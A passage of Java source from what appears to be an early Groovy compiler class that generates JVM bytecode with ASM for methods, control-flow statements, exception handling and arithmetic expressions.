innerClassInternalName,
outerClassName,
innerClassName,
innerClass.getModifiers());
}
// br TODO an inner class should have an entry of itself
cw.visitEnd();
}
catch (GroovyRuntimeException e) {
e.setModule(classNode.getModule());
throw e;
}
}
// create a surrogate class that represents the classNode
// the surrogate has the "face" of the real class. It's used for
// type resolving "this"
private void createDummyClass(ClassNode classNode) {
dummyGen.visitClass(classNode);
byte[] code = dummyClassWriter.toByteArray();
ClassLoader parentLoader = getClass().getClassLoader();
GroovyClassLoader groovyLoader = new GroovyClassLoader(parentLoader);
Class theClass = groovyLoader.defineClass(classNode.getName(), code);
if (theClass != null) {
classCache.put(classNode.getName(), theClass);
}
}
public void visitConstructor(ConstructorNode node) {
// creates a MethodWriter for the (implicit) constructor
//String methodType = Type.getMethodDescriptor(VOID_TYPE, )
this.constructorNode = node;
this.methodNode = null;
this.variableScope = null;
visitParameters(node, node.getParameters());
String methodType = BytecodeHelper.getMethodDescriptor("void", node.getParameters());
cv = cw.visitMethod(node.getModifiers(), "<init>", methodType, null, null);
helper = new BytecodeHelper(cv);
findMutableVariables();
resetVariableStack(node.getParameters());
Statement code = node.getCode();
if (code == null || !firstStatementIsSuperInit(code)) {
// invokes the super class constructor
cv.visitVarInsn(ALOAD, 0);
cv.visitMethodInsn(INVOKESPECIAL, internalBaseClassName, "<init>", "()V");
}
if (code != null) {
code.visit(this);
}
cv.visitInsn(RETURN);
cv.visitMaxs(0, 0);
}
public void visitMethod(MethodNode node) {
//System.out.println("Visiting method: " + node.getName() + " with
// return type: " + node.getReturnType());
this.constructorNode = null;
this.methodNode = node;
this.variableScope = null;
visitParameters(node, node.getParameters());
node.setReturnType(checkValidType(node.getReturnType(), node, "Must be a valid return type"));
String methodType = BytecodeHelper.getMethodDescriptor(node.getReturnType(), node.getParameters());
cv = cw.visitMethod(node.getModifiers(), node.getName(), methodType, null, null);
Label labelStart = new Label();
cv.visitLabel(labelStart);
helper = new BytecodeHelper(cv);
findMutableVariables();
resetVariableStack(node.getParameters());
outputReturn = false;
node.getCode().visit(this);
if (!outputReturn) {
cv.visitInsn(RETURN);
}
// lets do all the exception blocks
for (Iterator iter = exceptionBlocks.iterator(); iter.hasNext();) {
Runnable runnable = (Runnable) iter.next();
runnable.run();
}
exceptionBlocks.clear();
Label labelEnd = new Label();
cv.visitLabel(labelEnd);
// br experiment with local var table so debuggers can retrieve variable names
if (CREATE_DEBUG_INFO) {
Set vars = this.variableStack.keySet();
for (Iterator iterator = vars.iterator(); iterator.hasNext();) {
String varName = (String) iterator.next();
Variable v = (Variable)variableStack.get(varName);
String type = v.getTypeName();
type = BytecodeHelper.getTypeDescription(type);
Label start = v.getStartLabel() != null ? v.getStartLabel() : labelStart;
Label end = v.getEndLabel() != null ? v.getEndLabel() : labelEnd;
cv.visitLocalVariable(varName, type, start, end, v.getIndex());
}
}
cv.visitMaxs(0, 0);
}
protected void visitParameters(ASTNode node, Parameter[] parameters) {
for (int i = 0, size = parameters.length; i < size; i++ ) {
visitParameter(node, parameters[i]);
}
}
protected void visitParameter(ASTNode node, Parameter parameter) {
if (! parameter.isDynamicType()) {
parameter.setType(checkValidType(parameter.getType(), node, "Must be a valid parameter class"));
}
}
public void visitField(FieldNode fieldNode) {
onLineNumber(fieldNode, "visitField: " + fieldNode.getName());
// lets check that the classes are all valid
fieldNode.setType(checkValidType(fieldNode.getType(), fieldNode, "Must be a valid field class for field: " + fieldNode.getName()));
//System.out.println("Visiting field: " + fieldNode.getName() + " on
// class: " + classNode.getName());
Object fieldValue = null;
Expression expression = fieldNode.getInitialValueExpression();
if (expression instanceof ConstantExpression) {
ConstantExpression constantExp = (ConstantExpression) expression;
Object value = constantExp.getValue();
if (isPrimitiveFieldType(fieldNode.getType())) {
// lets convert any primitive types
Class type = null;
try {
type = loadClass(fieldNode.getType());
fieldValue = /*InvokerHelper.*/asType(value, type);
}
catch (Exception e) {
log.warning("Caught unexpected: " + e);
}
}
}
cw.visitField(
fieldNode.getModifiers(),
fieldNode.getName(),
BytecodeHelper.getTypeDescription(fieldNode.getType()),
null, //fieldValue, //br all the sudden that one cannot init the field here. init is done in static initilizer and instace intializer.
null);
}
/**
* Creates a getter, setter and field
*/
public void visitProperty(PropertyNode statement) {
onLineNumber(statement, "visitProperty:" + statement.getField().getName());
//this.propertyNode = statement;
this.methodNode = null;
}
// GroovyCodeVisitor interface
// Statements
public void visitForLoop(ForStatement loop) {
onLineNumber(loop, "visitForLoop");
Class elemType = null;
if (ENABLE_EARLY_BINDING) {
Expression collectionExp = loop.getCollectionExpression();
collectionExp.resolve(this);
Class cls = collectionExp.getTypeClass();
if (cls != null) {
if (cls.isArray()) {
elemType = cls.getComponentType();
if (elemType != null) {
Type varType = new Type(elemType.getName());
loop.setVariableType(varType);
}
}
else if (collectionExp instanceof ListExpression) {
elemType = ((ListExpression)collectionExp).getComponentTypeClass();
if (elemType != null) {
Type varType = new Type(elemType.getName());
loop.setVariableType(varType);
}
}
else if (collectionExp instanceof RangeExpression) {
// use the from type class. assuming both from and to are of the same type
elemType = ((RangeExpression)collectionExp).getFrom().getTypeClass();
if (elemType != null) {
Type varType = new Type(elemType.getName());
loop.setVariableType(varType);
}
}
}
}
// Declare the loop counter.
Type variableType = checkValidType(loop.getVariableType(), loop, "for loop variable");
Variable variable = defineVariable(loop.getVariable(), variableType, true);
if( isInScriptBody() ) {
variable.setProperty( true );
}
// Then initialize the iterator and generate the loop control
loop.getCollectionExpression().visit(this);
asIteratorMethod.call(cv);
final Variable iterTemp = storeInTemp("iterator", "java.util.Iterator");
final int iteratorIdx = iterTemp.getIndex();
// to push scope here allows the iterator available after the loop, such as the i in: for (i in 1..5)
// move it to the top will make the iterator a local var in the for loop.
pushBlockScope();
Label continueLabel = scope.getContinueLabel();
cv.visitJumpInsn(GOTO, continueLabel);
Label label2 = new Label();
cv.visitLabel(label2);
final Class elemClass = elemType;
BytecodeExpression expression = new BytecodeExpression() {
public void visit(GroovyCodeVisitor visitor) {
cv.visitVarInsn(ALOAD, iteratorIdx);
iteratorNextMethod.call(cv);
}
protected void resolveType(AsmClassGenerator2 resolver) {
setTypeClass(elemClass);
}
};
evaluateEqual( BinaryExpression.newAssignmentExpression(loop.getVariable(), expression) );
cv.visitInsn(POP); // br now the evaluateEqual() will leave a value on the stack. pop it.
// Generate the loop body
loop.getLoopBlock().visit(this);
// Generate the loop tail
cv.visitLabel(continueLabel);
cv.visitVarInsn(ALOAD, iteratorIdx);
iteratorHasNextMethod.call(cv);
cv.visitJumpInsn(IFNE, label2);
cv.visitLabel(scope.getBreakLabel());
popScope();
}
public void visitWhileLoop(WhileStatement loop) {
onLineNumber(loop, "visitWhileLoop");
pushBlockScope();
Label continueLabel = scope.getContinueLabel();
cv.visitJumpInsn(GOTO, continueLabel);
Label l1 = new Label();
cv.visitLabel(l1);
loop.getLoopBlock().visit(this);
cv.visitLabel(continueLabel);
loop.getBooleanExpression().visit(this);
cv.visitJumpInsn(IFNE, l1);
cv.visitLabel(scope.getBreakLabel());
popScope();
}
public void visitDoWhileLoop(DoWhileStatement loop) {
onLineNumber(loop, "visitDoWhileLoop");
pushBlockScope();
Label breakLabel = scope.getBreakLabel();
Label continueLabel = scope.getContinueLabel();
cv.visitLabel(continueLabel);
Label l1 = new Label();
loop.getLoopBlock().visit(this);
cv.visitLabel(l1);
loop.getBooleanExpression().visit(this);
cv.visitJumpInsn(IFNE, continueLabel);
cv.visitLabel(breakLabel);
popScope();
}
public void visitIfElse(IfStatement ifElse) {
onLineNumber(ifElse, "visitIfElse");
ifElse.getBooleanExpression().visit(this);
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
pushBlockScope(false, false);
ifElse.getIfBlock().visit(this);
popScope();
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
pushBlockScope(false, false);
ifElse.getElseBlock().visit(this);
cv.visitLabel(l1);
popScope();
}
public void visitTernaryExpression(TernaryExpression expression) {
onLineNumber(expression, "visitTernaryExpression");
expression.getBooleanExpression().visit(this);
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
expression.getTrueExpression().visit(this);
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
expression.getFalseExpression().visit(this);
cv.visitLabel(l1);
}
public void visitAssertStatement(AssertStatement statement) {
onLineNumber(statement, "visitAssertStatement");
//System.out.println("Assert: " + statement.getLineNumber() + " for: "
// + statement.getText());
BooleanExpression booleanExpression = statement.getBooleanExpression();
booleanExpression.visit(this);
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
// do nothing
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
// push expression string onto stack
String expressionText = booleanExpression.getText();
List list = new ArrayList();
addVariableNames(booleanExpression, list);
if (list.isEmpty()) {
cv.visitLdcInsn(expressionText);
}
else {
boolean first = true;
// lets create a new expression
cv.visitTypeInsn(NEW, "java/lang/StringBuffer");
cv.visitInsn(DUP);
cv.visitLdcInsn(expressionText + ". Values: ");
cv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuffer", "<init>", "(Ljava/lang/String;)V");
Variable assertTemp = visitASTOREInTemp("assert");
int tempIndex = assertTemp.getIndex();
for (Iterator iter = list.iterator(); iter.hasNext();) {
String name = (String) iter.next();
String text = name + " = ";
if (first) {
first = false;
}
else {
text = ", " + text;
}
cv.visitVarInsn(ALOAD, tempIndex);
cv.visitLdcInsn(text);
cv.visitMethodInsn(
INVOKEVIRTUAL,
"java/lang/StringBuffer",
"append",
"(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
cv.visitInsn(POP);
cv.visitVarInsn(ALOAD, tempIndex);
new VariableExpression(name).visit(this);
cv.visitMethodInsn(
INVOKEVIRTUAL,
"java/lang/StringBuffer",
"append",
"(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
cv.visitInsn(POP);
}
cv.visitVarInsn(ALOAD, tempIndex);
removeVar(assertTemp);
}
// now the optional exception expression
statement.getMessageExpression().visit(this);
assertFailedMethod.call(cv);
cv.visitLabel(l1);
}
private void addVariableNames(Expression expression, List list) {
if (expression instanceof BooleanExpression) {
BooleanExpression boolExp = (BooleanExpression) expression;
addVariableNames(boolExp.getExpression(), list);
}
else if (expression instanceof BinaryExpression) {
BinaryExpression binExp = (BinaryExpression) expression;
addVariableNames(binExp.getLeftExpression(), list);
addVariableNames(binExp.getRightExpression(), list);
}
else if (expression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) expression;
list.add(varExp.getVariable());
}
}
public void visitTryCatchFinally(TryCatchStatement statement) {
onLineNumber(statement, "visitTryCatchFinally");
// todo need to add blockscope handling
CatchStatement catchStatement = statement.getCatchStatement(0);
Statement tryStatement = statement.getTryStatement();
if (tryStatement.isEmpty() || catchStatement == null) {
final Label l0 = new Label();
cv.visitLabel(l0);
tryStatement.visit(this);
int index1 = defineVariable(this.createVariableName("exception"), "java.lang.Object").getIndex();
int index2 = defineVariable(this.createVariableName("exception"), "java.lang.Object").getIndex();
final Label l1 = new Label();
cv.visitJumpInsn(JSR, l1);
final Label l2 = new Label();
cv.visitLabel(l2);
final Label l3 = new Label();
cv.visitJumpInsn(GOTO, l3);
final Label l4 = new Label();
cv.visitLabel(l4);
cv.visitVarInsn(ASTORE, index1);
cv.visitJumpInsn(JSR, l1);
final Label l5 = new Label();
cv.visitLabel(l5);
cv.visitVarInsn(ALOAD, index1);
cv.visitInsn(ATHROW);
cv.visitLabel(l1);
cv.visitVarInsn(ASTORE, index2);
statement.getFinallyStatement().visit(this);
cv.visitVarInsn(RET, index2);
cv.visitLabel(l3);
exceptionBlocks.add(new Runnable() {
public void run() {
cv.visitTryCatchBlock(l0, l2, l4, null);
cv.visitTryCatchBlock(l4, l5, l4, null);
}
});
}
else {
String exceptionVar = catchStatement.getVariable();
String exceptionType =
checkValidType(catchStatement.getExceptionType(), catchStatement, "in catch statement");
int exceptionIndex = defineVariable(exceptionVar, exceptionType, false).getIndex();
int index2 = defineVariable(this.createVariableName("exception"), "java.lang.Object").getIndex();
int index3 = defineVariable(this.createVariableName("exception"), "java.lang.Object").getIndex();
final Label l0 = new Label();
cv.visitLabel(l0);
tryStatement.visit(this);
final Label l1 = new Label();
cv.visitLabel(l1);
Label l2 = new Label();
cv.visitJumpInsn(JSR, l2);
final Label l3 = new Label();
cv.visitLabel(l3);
Label l4 = new Label();
cv.visitJumpInsn(GOTO, l4);
final Label l5 = new Label();
cv.visitLabel(l5);
cv.visitVarInsn(ASTORE, exceptionIndex);
if (catchStatement != null) {
catchStatement.visit(this);
}
cv.visitJumpInsn(JSR, l2);
final Label l6 = new Label();
cv.visitLabel(l6);
cv.visitJumpInsn(GOTO, l4);
final Label l7 = new Label();
cv.visitLabel(l7);
cv.visitVarInsn(ASTORE, index2);
cv.visitJumpInsn(JSR, l2);
final Label l8 = new Label();
cv.visitLabel(l8);
cv.visitVarInsn(ALOAD, index2);
cv.visitInsn(ATHROW);
cv.visitLabel(l2);
cv.visitVarInsn(ASTORE, index3);
statement.getFinallyStatement().visit(this);
cv.visitVarInsn(RET, index3);
cv.visitLabel(l4);
// rest of code goes here...
//final String exceptionTypeInternalName = (catchStatement !=
// null) ?
// getTypeDescription(exceptionType) : null;
final String exceptionTypeInternalName =
(catchStatement != null) ? BytecodeHelper.getClassInternalName(exceptionType) : null;
exceptionBlocks.add(new Runnable() {
public void run() {
cv.visitTryCatchBlock(l0, l1, l5, exceptionTypeInternalName);
cv.visitTryCatchBlock(l0, l3, l7, null);
cv.visitTryCatchBlock(l5, l6, l7, null);
cv.visitTryCatchBlock(l7, l8, l7, null);
}
});
}
}
private Variable storeInTemp(String name, String type) {
Variable var = defineVariable(createVariableName(name), type, false);
int varIdx = var.getIndex();
cv.visitVarInsn(ASTORE, varIdx);
if (CREATE_DEBUG_INFO) cv.visitLabel(var.getStartLabel());
return var;
}
public void visitSwitch(SwitchStatement statement) {
onLineNumber(statement, "visitSwitch");
statement.getExpression().visit(this);
// switch does not have a continue label. use its parent's for continue
pushBlockScope(false, true);
//scope.setContinueLabel(scope.getParent().getContinueLabel());
int switchVariableIndex = defineVariable(createVariableName("switch"), "java.lang.Object").getIndex();
cv.visitVarInsn(ASTORE, switchVariableIndex);
List caseStatements = statement.getCaseStatements();
int caseCount = caseStatements.size();
Label[] labels = new Label[caseCount + 1];
for (int i = 0; i < caseCount; i++) {
labels[i] = new Label();
}
int i = 0;
for (Iterator iter = caseStatements.iterator(); iter.hasNext(); i++) {
CaseStatement caseStatement = (CaseStatement) iter.next();
visitCaseStatement(caseStatement, switchVariableIndex, labels[i], labels[i + 1]);
}
statement.getDefaultStatement().visit(this);
cv.visitLabel(scope.getBreakLabel());
popScope();
}
public void visitCaseStatement(CaseStatement statement) {
}
public void visitCaseStatement(
CaseStatement statement,
int switchVariableIndex,
Label thisLabel,
Label nextLabel) {
onLineNumber(statement, "visitCaseStatement");
cv.visitVarInsn(ALOAD, switchVariableIndex);
statement.getExpression().visit(this);
isCaseMethod.call(cv);
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
cv.visitLabel(thisLabel);
statement.getCode().visit(this);
// now if we don't finish with a break we need to jump past
// the next comparison
if (nextLabel != null) {
cv.visitJumpInsn(GOTO, nextLabel);
}
cv.visitLabel(l0);
}
public void visitBreakStatement(BreakStatement statement) {
onLineNumber(statement, "visitBreakStatement");
Label breakLabel = scope.getBreakLabel();
if (breakLabel != null ) {
cv.visitJumpInsn(GOTO, breakLabel);
} else {
// should warn that break is not allowed in the context.
}
}
public void visitContinueStatement(ContinueStatement statement) {
onLineNumber(statement, "visitContinueStatement");
Label continueLabel = scope.getContinueLabel();
if (continueLabel != null ) {
cv.visitJumpInsn(GOTO, continueLabel);
} else {
// should warn that continue is not allowed in the context.
}
}
public void visitSynchronizedStatement(SynchronizedStatement statement) {
onLineNumber(statement, "visitSynchronizedStatement");
statement.getExpression().visit(this);
int index = defineVariable(createVariableName("synchronized"), "java.lang.Integer").getIndex();
cv.visitVarInsn(ASTORE, index);
cv.visitInsn(MONITORENTER);
final Label l0 = new Label();
cv.visitLabel(l0);
statement.getCode().visit(this);
cv.visitVarInsn(ALOAD, index);
cv.visitInsn(MONITOREXIT);
final Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
final Label l2 = new Label();
cv.visitLabel(l2);
cv.visitVarInsn(ALOAD, index);
cv.visitInsn(MONITOREXIT);
cv.visitInsn(ATHROW);
cv.visitLabel(l1);
exceptionBlocks.add(new Runnable() {
public void run() {
cv.visitTryCatchBlock(l0, l2, l2, null);
}
});
}
public void visitThrowStatement(ThrowStatement statement) {
statement.getExpression().visit(this);
// we should infer the type of the exception from the expression
cv.visitTypeInsn(CHECKCAST, "java/lang/Throwable");
cv.visitInsn(ATHROW);
}
public void visitReturnStatement(ReturnStatement statement) {
onLineNumber(statement, "visitReturnStatement");
String returnType = methodNode.getReturnType();
if (returnType.equals("void")) {
if (!(statement == ReturnStatement.RETURN_NULL_OR_VOID)) {
throwException("Cannot use return statement with an expression on a method that returns void");
}
cv.visitInsn(RETURN);
outputReturn = true;
return;
}
Expression expression = statement.getExpression();
evaluateExpression(expression);
if (returnType.equals("java.lang.Object") && expression.getType() != null && expression.getType().equals("void")) {
cv.visitInsn(ACONST_NULL); // cheat the caller
cv.visitInsn(ARETURN);
} else {
//return is based on class type
//TODO: make work with arrays
// we may need to cast
helper.unbox(returnType);
if (returnType.equals("double")) {
cv.visitInsn(DRETURN);
}
else if (returnType.equals("float")) {
cv.visitInsn(FRETURN);
}
else if (returnType.equals("long")) {
cv.visitInsn(LRETURN);
}
else if (returnType.equals("boolean")) {
cv.visitInsn(IRETURN);
}
else if (
returnType.equals("char")
|| returnType.equals("byte")
|| returnType.equals("int")
|| returnType.equals("short")) { //byte,short,boolean,int are
// all IRETURN
cv.visitInsn(IRETURN);
}
else {
doConvertAndCast(returnType, expression);
cv.visitInsn(ARETURN);
/*
if (c == Boolean.class) {
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "TRUE", "Ljava/lang/Boolean;");
cv.visitInsn(ARETURN);
cv.visitLabel(l0);
cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;");
cv.visitInsn(ARETURN);
}
else {
if (isValidTypeForCast(returnType) && !returnType.equals(c.getName())) {
doConvertAndCast(returnType, expression);
}
cv.visitInsn(ARETURN);
}
*/
}
}
outputReturn = true;
}
/**
* Casts to the given type unless it can be determined that the cast is unnecessary
*/
protected void doConvertAndCast(String type, Expression expression) {
String expType = getExpressionType(expression);
// temp resolution: convert all primitive casting to corresponsing Object type
if (BytecodeHelper.isPrimitiveType(type)) {
type = BytecodeHelper.getObjectTypeForPrimitive(type);
}
if (isValidTypeForCast(type) && (expType == null || !type.equals(expType))) {
doConvertAndCast(type);
}
}
/**
* @param expression
*/
protected void evaluateExpression(Expression expression) {
visitAndAutoboxBoolean(expression);
//expression.visit(this);
Expression assignExpr = createReturnLHSExpression(expression);
if (assignExpr != null) {
leftHandExpression = false;
assignExpr.visit(this);
}
}
public void visitExpressionStatement(ExpressionStatement statement) {
onLineNumber(statement, "visitExpressionStatement: " + statement.getExpression().getClass().getName());
Expression expression = statement.getExpression();
// disabled in favor of JIT resolving
// if (ENABLE_EARLY_BINDING)
// expression.resolve(this);
visitAndAutoboxBoolean(expression);
if (isPopRequired(expression)) {
cv.visitInsn(POP);
}
}
// Expressions
public void visitBinaryExpression(BinaryExpression expression) {
onLineNumber(expression, "visitBinaryExpression: \"" + expression.getOperation().getText() + "\" ");
switch (expression.getOperation().getType()) {
case Types.EQUAL : // = assignment
evaluateEqual(expression);
break;
case Types.COMPARE_IDENTICAL :
evaluateBinaryExpression(compareIdenticalMethod, expression);
break;
case Types.COMPARE_EQUAL :
evaluateBinaryExpression(compareEqualMethod, expression);
break;
case Types.COMPARE_NOT_EQUAL :
evaluateBinaryExpression(compareNotEqualMethod, expression);
break;
case Types.COMPARE_TO :
evaluateCompareTo(expression);
break;
case Types.COMPARE_GREATER_THAN :
evaluateBinaryExpression(compareGreaterThanMethod, expression);
break;
case Types.COMPARE_GREATER_THAN_EQUAL :
evaluateBinaryExpression(compareGreaterThanEqualMethod, expression);
break;
case Types.COMPARE_LESS_THAN :
evaluateBinaryExpression(compareLessThanMethod, expression);
break;
case Types.COMPARE_LESS_THAN_EQUAL :
evaluateBinaryExpression(compareLessThanEqualMethod, expression);
break;
case Types.LOGICAL_AND :
evaluateLogicalAndExpression(expression);
break;
case Types.LOGICAL_OR :
evaluateLogicalOrExpression(expression);
break;
case Types.PLUS :
{
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("plus", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("plus", expression);
break;
}
if (lclass == String.class && rclass == String.class) {
// MethodCallExpression call = new MethodCallExpression(
// leftExpression,
// "concat",
// new ArgumentListExpression(new Expression[] {rightExpression}));
// call.setTypeClass(String.class); // must do to avoid excessive resolving
// visitMethodCallExpression(call);
cv.visitTypeInsn(NEW, "java/lang/StringBuffer");
cv.visitInsn(DUP);
cv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuffer", "<init>", "()V");
load(leftExpression);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
load(rightExpression);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "toString", "()Ljava/lang/String;");
}
else if (lclass == String.class && Number.class.isAssignableFrom(rclass) ) {
cv.visitTypeInsn(NEW, "java/lang/StringBuffer");
cv.visitInsn(DUP);
cv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuffer", "<init>", "()V");
load(leftExpression);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
load(rightExpression);
// will Object.toString() work here?
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "toString", "()Ljava/lang/String;");
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuffer;");
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "toString", "()Ljava/lang/String;");
}
else if (rclass == String.class && Number.class.isAssignableFrom(lclass) ) {
cv.visitTypeInsn(NEW, "java/lang/StringBuffer");
cv.visitInsn(DUP);
cv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuffer", "<init>", "()V");
load(leftExpression);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "toString", "()Ljava/lang/String;");
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/String;)Ljava/lang/StringBuffer;");
load(rightExpression);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuffer;"); // note the arg is object type for safety
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuffer", "toString", "()Ljava/lang/String;");
}
else if ((lclass == Integer.class || lclass == int.class) && (rclass == Integer.class || rclass == int.class)) {
// assuming all return boxed version for primitives
load(leftExpression);
helper.quickUnboxIfNecessary(int.class);
load(rightExpression);
helper.quickUnboxIfNecessary(int.class);
cv.visitInsn(IADD);
helper.quickBoxIfNecessary(int.class);
}
else if (Number.class.isAssignableFrom(lclass) && Number.class.isAssignableFrom(rclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(leftExpression);
load(rightExpression);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"plus",
"(Ljava/lang/Number;Ljava/lang/Number;)Ljava/lang/Number;");
}
else { // todo add more more number optimiztion
evaluateBinaryExpression("plus", expression);
}
} else {
evaluateBinaryExpression("plus", expression);
}
}
break;
case Types.PLUS_EQUAL :
evaluateBinaryExpressionWithAsignment("plus", expression);
break;
case Types.MINUS :
{
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("minus", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("minus", expression);
break;
}
if ((lclass == Integer.class || lclass == int.class) && (rclass == Integer.class || rclass == int.class)) {
// assuming all return boxed version for primitives
load(leftExpression);
helper.quickUnboxIfNecessary(int.class);
load(rightExpression);
helper.quickUnboxIfNecessary(int.class);
cv.visitInsn(ISUB);
helper.quickBoxIfNecessary(int.class);
}
else
if (Number.class.isAssignableFrom(lclass) && Number.class.isAssignableFrom(rclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(leftExpression);
load(rightExpression);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"minus",
"(Ljava/lang/Number;Ljava/lang/Number;)Ljava/lang/Number;");
}
else { // todo add more more number optimiztion
evaluateBinaryExpression("minus", expression);
}
} else {
evaluateBinaryExpression("minus", expression);
}
}
break;
case Types.MINUS_EQUAL :
evaluateBinaryExpressionWithAsignment("minus", expression);
break;
case Types.MULTIPLY :
{
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("multiply", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("multiply", expression);
break;
}
if ((lclass == Integer.class || lclass == int.class) && (rclass == Integer.class || rclass == int.class)) {
// assuming all return boxed version for primitives
load(leftExpression);
helper.quickUnboxIfNecessary(int.class);
load(rightExpression);
helper.quickUnboxIfNecessary(int.class);
cv.visitInsn(IMUL);
helper.quickBoxIfNecessary(int.class);
}
else if (Number.class.isAssignableFrom(lclass) && Number.class.isAssignableFrom(rclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(leftExpression);
load(rightExpression);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"multiply",
"(Ljava/lang/Number;Ljava/lang/Number;)Ljava/lang/Number;");
}
else { // todo add more more number optimiztion
evaluateBinaryExpression("multiply", expression);
}
} else {
evaluateBinaryExpression("multiply", expression);
}
}
break;
case Types.MULTIPLY_EQUAL :
evaluateBinaryExpressionWithAsignment("multiply", expression);
break;
case Types.DIVIDE :
//SPG don't use divide since BigInteger implements directly
//and we want to dispatch through DefaultGroovyMethods to get a BigDecimal result
{
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("div", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("div", expression);
break;
}
// if ((lclass == Integer.class || lclass == int.class) && (rclass == Integer.class || rclass == int.class)) {
// // assuming all return boxed version for primitives
// load(leftExpression);
// helper.quickUnboxIfNecessary(int.class);
// cv.visitInsn(I2D);
// load(rightExpression);
// helper.quickUnboxIfNecessary(int.class);
// cv.visitInsn(I2D);
// cv.visitInsn(DDIV);
// helper.quickBoxIfNecessary(double.class);
// else
if (Number.class.isAssignableFrom(lclass) && Number.class.isAssignableFrom(rclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(leftExpression);
load(rightExpression);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"div",
"(Ljava/lang/Number;Ljava/lang/Number;)Ljava/lang/Number;");
}
else { // todo add more more number optimiztion
evaluateBinaryExpression("div", expression);
}
} else {
evaluateBinaryExpression("div", expression);
}
}
break;
case Types.DIVIDE_EQUAL :
//SPG don't use divide since BigInteger implements directly
//and we want to dispatch through DefaultGroovyMethods to get a BigDecimal result
evaluateBinaryExpressionWithAsignment("div", expression);
break;
case Types.INTDIV :
{
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("intdiv", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("intdiv", expression);
break;
}
if (Number.class.isAssignableFrom(lclass) && Number.class.isAssignableFrom(rclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(leftExpression);
load(rightExpression);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"intdiv",
"(Ljava/lang/Number;Ljava/lang/Number;)Ljava/lang/Number;");
}
else { // todo add more more number optimiztion
evaluateBinaryExpression("intdiv", expression);
}
} else {
